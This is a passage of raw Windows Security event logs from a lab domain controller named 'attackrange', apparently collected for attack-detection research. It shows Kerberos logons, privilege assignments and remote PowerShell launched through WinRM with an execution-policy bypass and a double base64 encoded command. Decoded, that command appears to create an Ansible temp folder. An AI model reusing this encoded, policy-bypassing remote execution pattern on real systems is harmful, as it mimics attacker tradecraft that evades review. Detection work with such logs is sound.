WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1550A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64623 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252255 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1550A0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252254 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x155012 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252253 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x155012 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64622 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252252 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x155012 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x284 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x7dc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBPAFEAQQB6AEEAQwA0AEEATQB3AEEAMwBBAEQAWQBBAE8AQQBBADEAQQBEAEEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAMQBBAEQARQBBAE8AQQBBADUAQQBEAEUAQQBNAEEAQQAxAEEARABjAEEATwBBAEEANQBBAEQAZwBBAE0AQQBBAHgAQQBDAGMAQQBDAGcAQgBYAEEASABJAEEAYQBRAEIAMABBAEcAVQBBAEwAUQBCAFAAQQBIAFUAQQBkAEEAQgB3AEEASABVAEEAZABBAEEAZwBBAEMAMABBAFMAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBKAEEAQgAwAEEARwAwAEEAYwBBAEEAdQBBAEUAWQBBAGQAUQBCAHMAQQBHAHcAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEEASwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBMAFEAQgB1AEEARwA4AEEAZABBAEEAZwBBAEMAUQBBAFAAdwBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBXAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAFkAZwBCAHMAQQBHAFUAQQBJAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAGsAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEAZgBRAEEAZwBBAEUAVQBBAGIAQQBCAHoAQQBHAFUAQQBJAEEAQgA3AEEAQwBBAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBJAEEAQgA5AEEAQwBBAEEAZgBRAEEAPQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252250 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154F4F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252249 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x154F4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64621 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252248 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154F4F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252247 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7dc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBPAFEAQQB6AEEAQwA0AEEATQB3AEEAMwBBAEQAWQBBAE8AQQBBADEAQQBEAEEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAMQBBAEQARQBBAE8AQQBBADUAQQBEAEUAQQBNAEEAQQAxAEEARABjAEEATwBBAEEANQBBAEQAZwBBAE0AQQBBAHgAQQBDAGMAQQBDAGcAQgBYAEEASABJAEEAYQBRAEIAMABBAEcAVQBBAEwAUQBCAFAAQQBIAFUAQQBkAEEAQgB3AEEASABVAEEAZABBAEEAZwBBAEMAMABBAFMAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBKAEEAQgAwAEEARwAwAEEAYwBBAEEAdQBBAEUAWQBBAGQAUQBCAHMAQQBHAHcAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEEASwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBMAFEAQgB1AEEARwA4AEEAZABBAEEAZwBBAEMAUQBBAFAAdwBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBXAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAFkAZwBCAHMAQQBHAFUAQQBJAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAGsAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEAZgBRAEEAZwBBAEUAVQBBAGIAQQBCAHoAQQBHAFUAQQBJAEEAQgA3AEEAQwBBAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBJAEEAQgA5AEEAQwBBAEEAZgBRAEEAPQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252246 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154EB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252245 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x154EB2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64620 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252244 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x154EB2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252243 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154E65 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252242 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154E65 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252241 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252240 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252239 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - 